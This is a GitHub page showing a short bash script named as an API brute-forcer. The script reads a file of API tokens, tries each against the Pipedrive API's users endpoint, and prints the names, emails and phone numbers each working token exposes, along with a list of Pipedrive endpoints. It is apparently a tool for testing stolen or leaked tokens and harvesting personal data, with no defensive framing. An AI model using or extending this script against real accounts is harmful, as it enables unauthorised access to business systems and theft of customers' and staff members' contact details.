-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathapi_brute_forece.sh
49 lines (39 loc) · 1.69 KB
/
api_brute_forece.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/bash
base_url="https://api.pipedrive.com/v1"
endpoints=("users" "deals" "persons" "notes" "products" "organizations" "activities" "activityfields" "activitytypes" "billing" "callLogs" "channels" "currencies" "DealFields" "deals" "files" "filters" "goals" "İtemSearch" "leads" "LeadLabels" "LeadSources" "LegacyTeams" "mailbox" "meetings" "NoteFields" "notes" "OrganizationFields" "OrganizationRelationShips" "organizations" "PermissionSets" "PersonFields" "persons" "pipelines" "ProductFields" "products" "projects" "ProjectTemplates" "recents" "roles" "stages" "subscriptions" "tasks" "UserConnections" "users" "UsersSettings")
# Read API tokens from token.txt file
api_tokens=$(<token.txt)
function make_api_request() {
local api_token=$1
local endpoint=$2
local url="$base_url/$endpoint?api_token=$api_token"
curl -s -X GET "$url"
}
function print_user_info() {
local user_data=$1
local user_count=$(echo "$user_data" | jq '.data | length')
if [[ $user_count -eq 0 ]]; then
echo "User not found."
return
fi
echo "User Information:"
echo "----------------------"
for ((i=0; i<user_count; i++)); do
username=$(echo "$user_data" | jq -r ".data[$i].name")
email=$(echo "$user_data" | jq -r ".data[$i].email")
phone=$(echo "$user_data" | jq -r ".data[$i].phone")
echo "Username: $username"
echo "Email: $email"
echo "Phone: $phone"
# Print API endpoints for each user
echo "API Endpoints:"
for endpoint in "${endpoints[@]}"; do
echo " - $endpoint"
done
echo "----------------------"
done
}
for api_token in $api_tokens; do
user_response_data=$(make_api_request "$api_token" "users")
print_user_info "$user_response_data"
done